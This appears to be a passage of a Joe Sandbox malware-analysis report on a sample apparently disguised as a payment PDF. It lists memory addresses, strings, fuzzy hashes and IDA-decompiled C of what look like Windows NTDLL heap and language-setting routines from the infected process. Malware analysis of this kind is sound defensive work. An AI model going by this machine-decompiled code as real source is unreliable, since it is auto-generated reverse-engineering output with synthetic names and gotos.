0x3351935c
0x33519368
0x33519370
0x33519377
0x3351937f
0x33519387
0x3351938d
0x3351938f
0x33519391
0x00000000
0x00000000
0x33519397
0x3351939b
0x335193ef
0x335193f5
0x33519400
0x33519400
0x33519406
0x33519408
0x3351940c
0x33519411
0x33519411
0x33519414
0x33519418
0x33519420
0x33519425
0x33519429
0x33519436
0x33519442
0x33519449
0x33519451
0x33519459
0x33519461
0x33519465
0x3351946b
0x3351946d
0x3351946f
0x00000000
0x00000000
0x33519475
0x00000000
0x33519475
0x3351939d
0x335193a5
0x335193d6
0x335193df
0x335193e3
0x00000000
0x335193e3
0x335193a7
0x335193c7
0x335193cc
0x00000000
0x335193cc
0x33519316
0x3351931c
0x00000000
0x00000000
0x3351931e
0x33519322
0x3351932c
0x33519332
0x33519338
0x33519334
0x33519334
0x33519334
0x00000000
0x33519332
0x33519891
0x33519891
0x00000000
0x33519891
0x33519296
0x335190c8
0x335190cd
0x335190d0
0x335190d8
0x335190e4
0x33519119
0x33519123
0x3351912b
0x33519136
0x33519140
0x33519150
0x33519159
0x33519166
0x33519173
0x3351917d
0x3351918a
0x33519194
0x33519198
0x3351919e
0x335191a5
0x335191ac
0x335191b2
0x335191b4
0x335191b6
0x335191b9
0x335191c0
0x335191c2
0x335191c4
0x335191c9
0x335191c9
0x335191cb
0x335191cb
0x335191c4
0x335191d2
0x335191d8
0x335191de
0x335191e5
0x335191e7
0x335191e9
0x335191eb
0x335191ee
0x335191f0
0x335191f0
0x335191f6
0x335191f6
0x335190e6
0x335190ea
0x335190ee
0x335190ee
0x33519208
0x3351920e
0x00000000
0x3351920e

APIs

RtlDebugPrintTimes.NTDLL ref: 33519208
RtlDebugPrintTimes.NTDLL ref: 335192A7
RtlDebugPrintTimes.NTDLL ref: 33519387
RtlDebugPrintTimes.NTDLL ref: 33519465
RtlDebugPrintTimes.NTDLL ref: 3351956A
RtlDebugPrintTimes.NTDLL ref: 33519601
RtlDebugPrintTimes.NTDLL ref: 33519714
RtlDebugPrintTimes.NTDLL ref: 3351987C

Strings

0, xrefs: 33519776
, xrefs: 33519704
, xrefs: 33519657

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: DebugPrintTimes
String ID: $ $0
API String ID: 3446177414-3352262554
Opcode ID: 5cac9fb997b69c6329c002eb57fac5eeb608177e33b3c7a50251b811e043737b
Instruction ID: 391d78a5b051ade0c2fadd05d5a85c788e403854c1843fb63927a6b3a0c54470
Opcode Fuzzy Hash: 5cac9fb997b69c6329c002eb57fac5eeb608177e33b3c7a50251b811e043737b
Instruction Fuzzy Hash: E33234B1A083818FE750CF68D884B5BBBE5BFC8344F04492EF59A87250D7B4D959CB92

Uniqueness

Uniqueness Score: -1.00%

Function 334A8540 Relevance: 17.7, Strings: 14, Instructions: 223COMMON

Download Yara Rule

Strings

8, xrefs: 334E50EE
First initialization stack trace. Use dps to dump it if non-NULL., xrefs: 334E52ED
double initialized or corrupted critical section, xrefs: 334E5313
Critical section address, xrefs: 334E5230, 334E52C7, 334E533F
Critical section debug info address, xrefs: 334E522A, 334E5339
Address of the debug info found in the active list., xrefs: 334E52B9, 334E5305
Second initialization stack trace. Use dps to dump it if non-NULL., xrefs: 334E52D9
undeleted critical section in freed memory, xrefs: 334E5236
Initialization stack trace. Use dps to dump it if non-NULL., xrefs: 334E5215, 334E52A1, 334E5324
Invalid debug info address of this critical section, xrefs: 334E52C1
Thread is in a state in which it cannot own a critical section, xrefs: 334E534E
corrupted critical section, xrefs: 334E52CD
Critical section address., xrefs: 334E530D
Thread identifier, xrefs: 334E5345

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: 8$Address of the debug info found in the active list.$Critical section address$Critical section address.$Critical section debug info address$First initialization stack trace. Use dps to dump it if non-NULL.$Initialization stack trace. Use dps to dump it if non-NULL.$Invalid debug info address of this critical section$Second initialization stack trace. Use dps to dump it if non-NULL.$Thread identifier$Thread is in a state in which it cannot own a critical section$corrupted critical section$double initialized or corrupted critical section$undeleted critical section in freed memory
API String ID: 0-2368682639
Opcode ID: ad328f30706f6481a93a990b650d317271d5bb996a7dfa2c1cb5a3dca3f30cd9
Instruction ID: 827b917e2ce772e5911a6388fc07e4ef4df34c8d63d410eed63bc8f4d732501a
Opcode Fuzzy Hash: ad328f30706f6481a93a990b650d317271d5bb996a7dfa2c1cb5a3dca3f30cd9
Instruction Fuzzy Hash: 18818C74E02308AFEB10CF94C844B9EBBB8FB48706F144199F954B7641D7B1A941CB68

Uniqueness

Uniqueness Score: -1.00%

Function 3346D2EC Relevance: 12.8, Strings: 10, Instructions: 312
COMMONCrypto

Download Yara Rule

C-Code - Quality: 89%

			E3346D2EC(unsigned int __ecx, signed int _a4, intOrPtr _a8, char* _a12, char _a16) {
				intOrPtr _v20;
				intOrPtr _v24;
				char* _v28;
				char _v32;
				char _v36;
				intOrPtr _v40;
				intOrPtr _v56;
				char _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				char* _v76;
				intOrPtr _v80;
				char _v84;
				char _v88;
				char _v92;
				char _v96;
				unsigned int _v100;
				signed int _v104;
				char _v108;
				char _v112;
				char _v116;
				char _v117;
				char _v120;
				char _v124;
				intOrPtr _v128;
				void* _v132;
				void* _v136;
				void* _v140;
				void* _v144;
				void* _v148;
				void* _v164;
				void* _t116;
				void* _t124;
				char* _t134;
				void* _t155;
				char* _t170;
				char _t171;
				void* _t176;
				signed int _t181;
				void* _t184;
				void* _t190;
				signed int _t192;
				void* _t194;
				signed int _t196;
				signed int _t198;
				void* _t200;

				_t200 = (_t198 & 0xfffffff8) - 0x74;
				_t170 = _a12;
				_v100 = __ecx;
				_v108 = 0;
				_v112 = 0;
				_v104 = 0;
				_v96 = 7;
				_v92 = 0;
				_v88 = 0;
				_v117 = 0;
				_t190 = 0;
				_v116 = 0;
				if(__ecx == 0 || _t170 == 0 || _a16 == 0) {
					_t194 = 0xc000000d;
					goto L23;
				} else {
					_t196 = _a4;
					 *_t170 = 0;
					if(_t196 == 1 || _t196 == 0) {
						E334B5050(0,  &_v84, L"\\Registry\\Machine\\Software\\Policies\\Microsoft\\MUI\\Settings");
						_v84 = 0x18;
						_v76 =  &_v92;
						_v80 = 0;
						_push( &_v84);
						_push(0x20019);
						_v72 = 0x40;
						_push( &_v112);
						_v68 = 0;
						_v64 = 0;
						if(L334B2AB0() >= 0) {
							_t124 = E33467220(_v104, _v100,  &_v116);
							_t190 = _v128;
							_t194 = _t124;
							if(_t194 != 0 || _t190 == 0) {
								_t181 = _v104;
								_t196 = _a4;
								goto L7;
							} else {
								goto L24;
							}
						} else {
							_t181 = 0;
							_v104 = 0;
							L7:
							if(_t196 == 1 && _t181 != 0) {
								_t187 =  &_v117;
								if(L3352AD61(_t181,  &_v117) >= 0) {
									asm("sbb eax, eax");
									_a4 = _t196 &  ~(_v117 - 0x00000001 & 0x000000ff);
								}
							}
							_t194 = E3346D736(0x2000000,  &_v108);
							if(_t194 < 0) {
								L51:
								 *_t170 = 1;
								goto L23;
							} else {
								if(_a4 != 1) {
									E334B5050(0x2000000,  &_v84, L"Control Panel\\Desktop\\MuiCached");
									_t194 = 0;
									_v32 = _v116;
									_v28 =  &_v92;
									_push( &_v36);
									_push(0x20019);
									_v36 = 0x18;
									_push( &_v120);
									_v24 = 0x40;
									_v20 = 0;
									 *((intOrPtr*)(_t200 + 0x88)) = 0;
									if(L334B2AB0() < 0) {
										 *_t170 = 1;
										L24:
										_t176 = 0;
										L25:
										_t112 = _a4;
										if(_a4 != 0 || _t190 != 0 &&  *((intOrPtr*)(_t190 + 4)) != _t176) {
											_t173 = _v100;
											L29:
											if(_t190 == 0) {
												_t190 = E33493262(1, _t187 & 0xffffff00 | _t112 != 0x00000001, _t173);
												if(_t190 == 0) {
													_t194 = 0xc0000017;
												}
											}
											goto L31;
										} else {
											_t173 = _v100;
											_t116 = L3352BD08(_v100, _t187, _t170,  &_v116);
											_t190 = _v124;
											_t194 = _t116;
											if(_t194 != 0) {
												L31:
												_t67 =  &_a16; // 0x33492e68
												 *((intOrPtr*)( *_t67)) = _t190;
												L32:
												_t105 = _v88;
												if(_v88 == 0) {
													L43:
													_t171 = 0;
													goto L34;
												} else {
													_t171 = 0;
													E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t105);
													L34:
													if(_v112 != 0) {
														_push(_v112);
														E334B2A80();
														_v116 = _t171;
													}
													if(_v108 != 0) {
														_push(_v108);
														E334B2A80();
														_v112 = _t171;
													}
													if(_v104 != 0) {
														_push(_v104);
														E334B2A80();
													}
													goto L39;
												}
											}
											_t112 = _a4;
											goto L29;
										}
									}
									_t134 = L"MachinePreferredUILanguages";
									L15:
									E334B5050(0x2000000,  &_v84, _t134);
									_push(0x2000000);
									_t187 =  &_v92;
									_t184 = E3346D64A(_v120,  &_v92,  &_v104, _t194,  &_v100);
									_t194 = 0xc0000034;
									if(_t184 == 0xc0000034) {
										L42:
										_t176 = 0;
										 *_t170 = 1;
										_t194 = 0;
										goto L25;
									}
									_t140 = _v96;
									if(_v96 == 0) {
										goto L42;
									}
									if(_t184 != 0x80000005) {
										goto L43;
									}
									_t192 = L33485D90(_t184,  *((intOrPtr*)( *[fs:0x30] + 0x18)), "true", _t140 + 2);
									_v104 = _t192;
									if(_t192 == 0) {
										_t194 = 0xc0000017;
										goto L43;
									}
									_push(_t184);
									_t187 =  &_v88;
									_t194 = E3346D64A(_v116,  &_v88,  &_v100, _t192,  &_v96);
									if(_t194 < 0) {
										L22:
										_t190 = _v124;
										L23:
										if(_t194 != 0) {
											goto L32;
										}
										goto L24;
									}
									if(_v104 != 7) {
										if(_v104 == 1) {
											goto L21;
										}
										_t190 = _v124;
										_t176 = 0;
										_t194 = 0;
										 *_t170 = 1;
										goto L25;
									}
									L21:
									_t187 = _t192;
									_t194 = L33494CA6(_v108, _t192, _v100 >> 1, "true", (0 | _a4 != 0x00000001) + 2, "true",  &_v124);
									goto L22;
								}
								_t155 = L3346D8D0(0x2000000, _v108, _v100,  &_v116);
								_t190 = _v128;
								_t194 = _t155;
								if(_t194 == 0) {
									if(_t190 != 0) {
										goto L31;
									}
								}
								E334B5050(0x2000000,  &_v84, L"Control Panel\\Desktop");
								_v56 = _v116;
								 *((intOrPtr*)(_t200 + 0x58)) =  &_v92;
								 *((intOrPtr*)(_t200 + 0x60)) = 0;
								_v40 = 0;
								_push( &_v60);
								_push(0x20019);
								_v60 = 0x18;
								_push( &_v120);
								 *((intOrPtr*)(_t200 + 0x68)) = 0x40;
								_t194 = L334B2AB0();
								if(_t194 < 0) {
									goto L51;
								}
								_t134 = L"PreferredUILanguages";
								if(_a8 != 3) {
									_t134 = L"PreferredUILanguagesPending";
								}
								_t194 = 0;
								goto L15;
							}
						}
					} else {
						_t194 = 0xc000000d;
						L39:
						return _t194;
					}
				}
			}

0x3346d2f4
0x3346d2f8
0x3346d2ff
0x3346d303
0x3346d307
0x3346d30b
0x3346d30f
0x3346d317
0x3346d31b
0x3346d31f
0x3346d325
0x3346d327
0x3346d32d
0x334ca69c
0x00000000
0x3346d344
0x3346d344
0x3346d347
0x3346d34c
0x3346d360
0x3346d369
0x3346d371
0x3346d37b
0x3346d37f
0x3346d380
0x3346d389
0x3346d391
0x3346d392
0x3346d396
0x3346d3a1
0x334ca60d
0x334ca612
0x334ca616
0x334ca61a
0x334ca624
0x334ca628
0x00000000
0x00000000
0x00000000
0x00000000
0x3346d3a7
0x3346d3a7
0x3346d3a9
0x3346d3ad
0x3346d3b0
0x334ca630
0x334ca63b
0x334ca64c
0x334ca650
0x334ca650
0x334ca63b
0x3346d3c9
0x3346d3cd
0x334ca658
0x334ca658
0x00000000
0x3346d3d3
0x3346d3d7
0x3346d5d5
0x3346d5de
0x3346d5e0
0x3346d5e8
0x3346d5f0
0x3346d5f1
0x3346d5fa
0x3346d602
0x3346d603
0x3346d60e
0x3346d615
0x3346d623
0x3346d642
0x3346d52e
0x3346d52e
0x3346d530
0x3346d530
0x3346d535
0x3346d549
0x3346d54d
0x3346d54f
0x3346d560
0x3346d564
0x334ca6cd
0x334ca6cd
0x3346d564
0x00000000
0x334ca6a6
0x334ca6ac
0x334ca6b2
0x334ca6b7
0x334ca6bb
0x334ca6bf
0x3346d56a
0x3346d56a
0x3346d56d
0x3346d56f
0x3346d56f
0x3346d575
0x3346d63b
0x3346d63b
0x00000000
0x3346d57b
0x3346d582
0x3346d588
0x3346d58d
0x3346d592
0x3346d594
0x3346d598
0x3346d59d
0x3346d59d
0x3346d5a6
0x3346d5a8
0x3346d5ac
0x3346d5b1
0x3346d5b1
0x3346d5ba
0x334ca6d7
0x334ca6db
0x334ca6db
0x00000000
0x3346d5ba
0x3346d575
0x334ca6c5
0x00000000
0x334ca6c5
0x3346d535
0x3346d625
0x3346d465
0x3346d46b
0x3346d470
0x3346d480
0x3346d489
0x3346d48b
0x3346d492
0x3346d62f
0x3346d62f
0x3346d631
0x3346d634
0x00000000
0x3346d634
0x3346d498
0x3346d49e
0x00000000
0x00000000
0x3346d4aa
0x00000000
0x00000000
0x3346d4c4
0x3346d4c6
0x3346d4cc
0x334ca677
0x00000000
0x334ca677
0x3346d4d2
0x3346d4e2
0x3346d4eb
0x3346d4ef
0x3346d526
0x3346d526
0x3346d52a
0x3346d52c
0x00000000
0x00000000
0x00000000
0x3346d52c
0x3346d4f6
0x334ca686
0x00000000
0x00000000
0x334ca68c
0x334ca690
0x334ca692
0x334ca694
0x00000000
0x334ca694
0x3346d4fc
0x3346d507
0x3346d524
0x00000000
0x3346d524
0x3346d3ea
0x3346d3ef
0x3346d3f3
0x3346d3f7
0x334ca662
0x00000000
0x00000000
0x334ca668
0x3346d407
0x3346d410
0x3346d418
0x3346d41e
0x3346d422
0x3346d42a
0x3346d42b
0x3346d434
0x3346d43c
0x3346d43d
0x3346d44a
0x3346d44e
0x00000000
0x00000000
0x3346d458
0x3346d45d
0x334ca66d
0x334ca66d
0x3346d463
0x00000000
0x3346d463
0x3346d3cd
0x334ca5f6
0x334ca5f6
0x3346d5c0
0x3346d5c8
0x3346d5c8
0x3346d34c

Strings

@, xrefs: 3346D389
h.I3, xrefs: 3346D56A
Control Panel\Desktop, xrefs: 3346D3FD
MachinePreferredUILanguages, xrefs: 3346D625
@, xrefs: 3346D43D
Control Panel\Desktop\MuiCached, xrefs: 3346D5CB
PreferredUILanguages, xrefs: 3346D458, 3346D465
\Registry\Machine\Software\Policies\Microsoft\MUI\Settings, xrefs: 3346D356
@, xrefs: 3346D603
PreferredUILanguagesPending, xrefs: 334CA66D

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: @$@$@$Control Panel\Desktop$Control Panel\Desktop\MuiCached$MachinePreferredUILanguages$PreferredUILanguages$PreferredUILanguagesPending$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings$h.I3
API String ID: 0-3235202250
Opcode ID: 3ef1672759dabce9092e8d9d211ce9ac82b207230a8ff6777d6f30b74ae38069
Instruction ID: 3c41a99f8f3e97370f4bdac92aa269607f4d5c98aaba08d94bcb224aceca7ab8
Opcode Fuzzy Hash: 3ef1672759dabce9092e8d9d211ce9ac82b207230a8ff6777d6f30b74ae38069
Instruction Fuzzy Hash: D0B1BDB5908351AFD711CF24C490A5FB7E8AF89748F45492EF8D4E7310DB30D9498B9A

Uniqueness

Uniqueness Score: -1.00%

Function 335186C2 Relevance: 12.6, Strings: 10, Instructions: 146
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E335186C2(void* __ebx, signed short* __ecx, signed short __edx) {
				signed int _v8;
				char _v268;
				char _v300;
				char* _v304;
				char* _v308;
				char* _v312;
				char* _v316;
				char* _v320;
				char* _v324;
				char _v1076;
				signed int _v1084;
				signed int _v1092;
				signed short _v1096;
				void* __edi;
				void* __esi;
				signed int _t54;
				short* _t59;
				void* _t65;
				signed int _t66;
				void* _t67;
				intOrPtr _t69;
				void* _t74;
				void* _t75;
				void* _t80;
				void* _t81;
				signed short _t82;
				signed short* _t84;
				void* _t85;
				intOrPtr* _t86;
				signed int _t90;
				void* _t92;
				signed int _t93;
				signed int _t95;

				_t82 = __edx;
				_t75 = __ebx;
				_t95 = (_t93 & 0xfffffff8) - 0x448;
				_v8 =  *0x3356b370 ^ _t95;
				_t84 = __ecx;
				_v324 = L"svchost.exe";
				_v320 = L"runtimebroker.exe";
				_t90 = 0;
				_v316 = L"csrss.exe";
				_v312 = L"smss.exe";
				_v308 = L"services.exe";
				_v304 = L"lsass.exe";
				_v1084 =  *[fs:0x30];
				if((E33470670() & 0x00010000) != 0) {
					L26:
					 *0x335638c0 = _t90;
					_t90 = 1;
				} else {
					if(E334742B0(0, 0, L"http://schemas.microsoft.com/SMI/2020/WindowsSettings", L"heapType",  &_v300, 0xf, 0) < 0) {
						L3:
						_t54 = _v1084;
						if(( *(_t54 + 3) & 0x00000010) == 0) {
							if( *((intOrPtr*)( *((intOrPtr*)(_t54 + 0x10)) + 0x2b0)) != _t90) {
								goto L26;
							} else {
								if(_t84 != 0) {
									_t79 = _t90;
									_t82 = _t84[2];
									_t59 = _t82 + ((( *_t84 & 0x0000ffff) >> 1) - 1) * 2;
									while(1) {
										_v1092 = _t79;
										if(_t59 <= _t82) {
											break;
										}
										if( *_t59 == 0x5c) {
											if(_t79 == 0) {
												L24:
												_v1096 = 0x100;
												if(L334A4E50(0xfffffffc,  &_v268,  &_v1096, _t90, _t90, _t90,  &_v1084) >= 0) {
													_t65 = E334B7AD0( &_v268, L"DefaultBrowser_NOPUBLISHERID", 0x1d);
													_t95 = _t95 + 0xc;
													if(_t65 == 0) {
														goto L26;
													}
												}
											} else {
												_t82 = _t59 + 2;
												_v1096 = _t82;
												if(_t82 != 0) {
													_t66 = _t90;
													_v1084 = _t90;
													do {
														_t86 =  *((intOrPtr*)(_t95 + 0x310 + _t66 * 4));
														_t67 = E334B7AD0(_t82, _t86, _t79);
														_t95 = _t95 + 0xc;
														if(_t67 != 0) {
															_t79 = _v1092;
															goto L23;
														} else {
															_t34 = _t86 + 2; // 0x3344708e
															_t80 = _t34;
															do {
																_t69 =  *_t86;
																_t86 = _t86 + 2;
															} while (_t69 != _t90);
															_t79 = _v1092;
															if(_v1092 == _t86 - _t80 >> 1) {
																goto L26;
															} else {
																goto L23;
															}
														}
														goto L27;
														L23:
														_t82 = _v1096;
														_t66 = _v1084 + 1;
														_v1084 = _t66;
													} while (_t66 < 6);
												}
												goto L24;
											}
										} else {
											_t79 = _t79 + 1;
											_t59 = _t59 - 2;
											continue;
										}
										goto L27;
									}
									goto L24;
								}
							}
						} else {
							_push(_t90);
							_push( &_v1092);
							_push( &_v1076);
							_t81 = 0xfffffffc;
							if(L334A4F11(_t81) < 0 || (_v1092 & 0x00008000) == 0) {
								goto L26;
							} else {
							}
						}
					} else {
						_t74 = E334B7AD0( &_v300, L"SegmentHeap", 0xf);
						_t95 = _t95 + 0xc;
						if(_t74 == 0) {
							goto L26;
						} else {
							goto L3;
						}
					}
				}
				L27:
				_pop(_t85);
				_pop(_t92);
				return E334B4B50(_t90, _t75, _v8 ^ _t95, _t82, _t85, _t92);
			}

0x335186c2
0x335186c2
0x335186ca
0x335186d7
0x335186e6
0x335186e8
0x335186f3
0x335186fe
0x33518700
0x3351870b
0x33518716
0x33518721
0x3351872c
0x3351873a
0x33518892
0x33518892
0x3351889a
0x33518740
0x3351875e
0x3351877f
0x3351877f
0x33518787
0x335187c0
0x00000000
0x335187c6
0x335187c8
0x335187d1
0x335187d3
0x335187d9
0x335187e8
0x335187e8
0x335187ee
0x00000000
0x00000000
0x335187e2
0x335187f4
0x3351884f
0x33518853
0x33518875
0x33518886
0x3351888b
0x33518890
0x00000000
0x00000000
0x33518890
0x335187f6
0x335187f6
0x335187f9
0x335187ff
0x33518801
0x33518803
0x33518807
0x33518807
0x33518811
0x33518816
0x3351881b
0x33518839
0x00000000
0x3351881d
0x3351881d
0x3351881d
0x33518820
0x33518820
0x33518823
0x33518826
0x3351882d
0x33518835
0x00000000
0x33518837
0x00000000
0x33518837
0x33518835
0x00000000
0x3351883d
0x33518841
0x33518845
0x33518846
0x3351884a
0x33518807
0x00000000
0x335187ff
0x335187e4
0x335187e4
0x335187e5
0x00000000
0x335187e5
0x00000000
0x335187e2
0x00000000
0x335187f0
0x335187c8
0x33518789
0x33518789
0x3351878e
0x33518793
0x33518796
0x3351879e
0x00000000
0x00000000
0x335187b2
0x3351879e
0x33518760
0x3351876f
0x33518774
0x33518779
0x00000000
0x00000000
0x00000000
0x00000000
0x33518779
0x3351875e
0x3351889b
0x335188a4
0x335188a5
0x335188b0

Strings

smss.exe, xrefs: 3351870B
csrss.exe, xrefs: 33518700
http://schemas.microsoft.com/SMI/2020/WindowsSettings, xrefs: 33518750
SegmentHeap, xrefs: 33518769
runtimebroker.exe, xrefs: 335186F3
lsass.exe, xrefs: 33518721
services.exe, xrefs: 33518716
heapType, xrefs: 3351874B
svchost.exe, xrefs: 335186E8
DefaultBrowser_NOPUBLISHERID, xrefs: 33518880

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: DefaultBrowser_NOPUBLISHERID$SegmentHeap$csrss.exe$heapType$http://schemas.microsoft.com/SMI/2020/WindowsSettings$lsass.exe$runtimebroker.exe$services.exe$smss.exe$svchost.exe
API String ID: 0-2515994595
Opcode ID: 0855cdabfdab26aba02c10c94e13ba6b1b7a1c470857e64a87b17cc99ede52f4
Instruction ID: cfc6bc88ca44b25c86b1ebc9c4cfb68bd7fb5530a4b1391bfbe0d7b4ffa4d170
Opcode Fuzzy Hash: 0855cdabfdab26aba02c10c94e13ba6b1b7a1c470857e64a87b17cc99ede52f4
Instruction Fuzzy Hash: 8D51BEB5904310AFE725CF18E940B9BBBECEFC4250F444D2DB9A883240E7B8D655CB96

Uniqueness

Uniqueness Score: -1.00%

Function 3351F0A5 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 231
timeCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E3351F0A5(void* __ebx, intOrPtr __ecx, signed int __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t87;
				signed int _t89;
				signed int _t92;
				intOrPtr _t93;
				intOrPtr _t94;
				signed char _t105;
				signed int _t106;
				intOrPtr _t108;
				signed int _t109;
				signed int _t110;
				intOrPtr _t112;
				intOrPtr _t116;
				short* _t134;
				short _t135;
				signed char _t153;
				signed int* _t158;
				short* _t169;
				signed int _t174;
				signed int _t184;
				signed int _t185;
				intOrPtr* _t190;
				void* _t191;

				_push(0x3c);
				_push(0x3354d320);
				E334C7BE4(__ebx, __edi, __esi);
				_t188 = __ecx;
				 *((intOrPtr*)(_t191 - 0x3c)) = __ecx;
				 *((char*)(_t191 - 0x19)) = 0;
				 *(_t191 - 0x24) = 0;
				if(( *(__ecx + 0x44) & 0x01000000) == 0) {
					 *(_t191 - 4) = 0;
					 *(_t191 - 4) = 1;
					_t87 = E33467662("RtlAllocateHeap");
					__eflags = _t87;
					if(_t87 == 0) {
						L46:
						 *(_t191 - 0x24) = 0;
						L47:
						 *(_t191 - 4) = 0;
						 *(_t191 - 4) = 0xfffffffe;
						E3351F3F9();
						_t89 =  *(_t191 - 0x24);
						goto L48;
					}
					_t153 =  *(__ecx + 0x44) | __edx;
					 *(_t191 - 0x2c) = _t153;
					_t183 = _t153 | 0x10000100;
					 *(_t191 - 0x34) = _t153 | 0x10000100;
					_t174 =  *(_t191 + 8);
					__eflags = _t174;
					 *(_t191 - 0x20) = _t174;
					if(_t174 == 0) {
						 *(_t191 - 0x20) = 1;
					}
					_t92 =  *((intOrPtr*)(_t188 + 0x94)) +  *(_t191 - 0x20) &  *(_t188 + 0x98);
					__eflags = _t92 - 0x10;
					if(_t92 < 0x10) {
						_t92 = 0x10;
					}
					_t93 = _t92 + 8;
					 *((intOrPtr*)(_t191 - 0x40)) = _t93;
					__eflags = _t93 - _t174;
					if(_t93 < _t174) {
						L42:
						_t94 =  *[fs:0x30];
						__eflags =  *(_t94 + 0xc);
						if( *(_t94 + 0xc) == 0) {
							_push("HEAP: ");
							L3346B910();
						} else {
							L3346B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						_push( *((intOrPtr*)(_t188 + 0x78)));
						L3346B910("Invalid allocation size - %Ix (exceeded %Ix)\n",  *(_t191 + 8));
						goto L46;
					} else {
						__eflags = _t93 -  *((intOrPtr*)(_t188 + 0x78));
						if(_t93 >  *((intOrPtr*)(_t188 + 0x78))) {
							goto L42;
						}
						__eflags = _t153 & 0x00000001;
						if((_t153 & 0x00000001) == 0) {
							L3347FED0( *((intOrPtr*)(_t188 + 0xc8)));
							 *((char*)(_t191 - 0x19)) = 1;
							_t183 =  *(_t191 - 0x2c) | 0x10000101;
							__eflags = _t183;
							 *(_t191 - 0x34) = _t183;
						}
						L33520835(_t188, 0);
						_t184 = L33485D90(_t188, _t188, _t183,  *(_t191 + 8));
						 *(_t191 - 0x24) = _t184;
						_t176 = 1;
						L33520D24(_t188);
						__eflags = _t184;
						if(_t184 == 0) {
							goto L47;
						} else {
							_t185 = _t184 + 0xfffffff8;
							__eflags =  *((char*)(_t185 + 7)) - 5;
							if( *((char*)(_t185 + 7)) == 5) {
								_t185 = _t185 - (( *(_t185 + 6) & 0x000000ff) << 3);
								__eflags = _t185;
							}
							_t158 = _t185;
							 *(_t191 - 0x38) = _t185;
							__eflags =  *(_t188 + 0x4c);
							if( *(_t188 + 0x4c) != 0) {
								 *_t185 =  *_t185 ^  *(_t188 + 0x50);
								__eflags =  *(_t185 + 3) - (_t158[0] ^ _t158[0] ^  *_t158);
								if(__eflags != 0) {
									_push(_t158);
									_t176 = _t185;
									E3352D646(0, _t188, _t185, _t185, _t188, __eflags);
								}
							}
							__eflags =  *(_t185 + 2) & 0x00000002;
							if(( *(_t185 + 2) & 0x00000002) == 0) {
								_t105 =  *(_t185 + 3);
								 *(_t191 - 0x1a) = _t105;
								_t106 = _t105 & 0x000000ff;
							} else {
								_t134 = E334A3AE9(_t185);
								 *((intOrPtr*)(_t191 - 0x28)) = _t134;
								__eflags =  *(_t188 + 0x40) & 0x08000000;
								if(( *(_t188 + 0x40) & 0x08000000) == 0) {
									 *_t134 = 0;
								} else {
									_t135 = L3349FDB9(1, _t176);
									_t169 =  *((intOrPtr*)(_t191 - 0x28));
									 *_t169 = _t135;
									_t134 = _t169;
								}
								_t45 = _t134 + 2; // 0xffff
								_t106 =  *_t45 & 0x0000ffff;
							}
							 *(_t191 - 0x2c) = _t106;
							 *(_t191 - 0x20) = _t106;
							__eflags =  *(_t188 + 0x4c);
							if( *(_t188 + 0x4c) != 0) {
								 *(_t185 + 3) =  *(_t185 + 2) ^  *(_t185 + 1) ^  *_t185;
								 *_t185 =  *_t185 ^  *(_t188 + 0x50);
								__eflags =  *_t185;
							}
							__eflags =  *(_t188 + 0x40) & 0x20000000;
							if(( *(_t188 + 0x40) & 0x20000000) != 0) {
								__eflags = 0;
								L33520835(_t188, 0);
							}
							__eflags =  *(_t191 - 0x24) -  *0x335647c0; // 0x0
							_t108 =  *[fs:0x30];
							if(__eflags != 0) {
								_t109 =  *(_t108 + 0x68);
								 *(_t191 - 0x44) = _t109;
								__eflags = _t109 & 0x00000800;
								if((_t109 & 0x00000800) == 0) {
									goto L47;
								}
								_t110 =  *(_t191 - 0x2c);
								__eflags = _t110;
								if(_t110 == 0) {
									goto L47;
								}
								__eflags = _t110 -  *0x335647c4; // 0x0
								if(__eflags != 0) {
									goto L47;
								}
								__eflags =  *((intOrPtr*)(_t188 + 0x7c)) -  *0x335647c6; // 0x0
								if(__eflags != 0) {
									goto L47;
								}
								_t112 =  *[fs:0x30];
								__eflags =  *(_t112 + 0xc);
								if( *(_t112 + 0xc) == 0) {
									_push("HEAP: ");
									L3346B910();
								} else {
									L3346B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
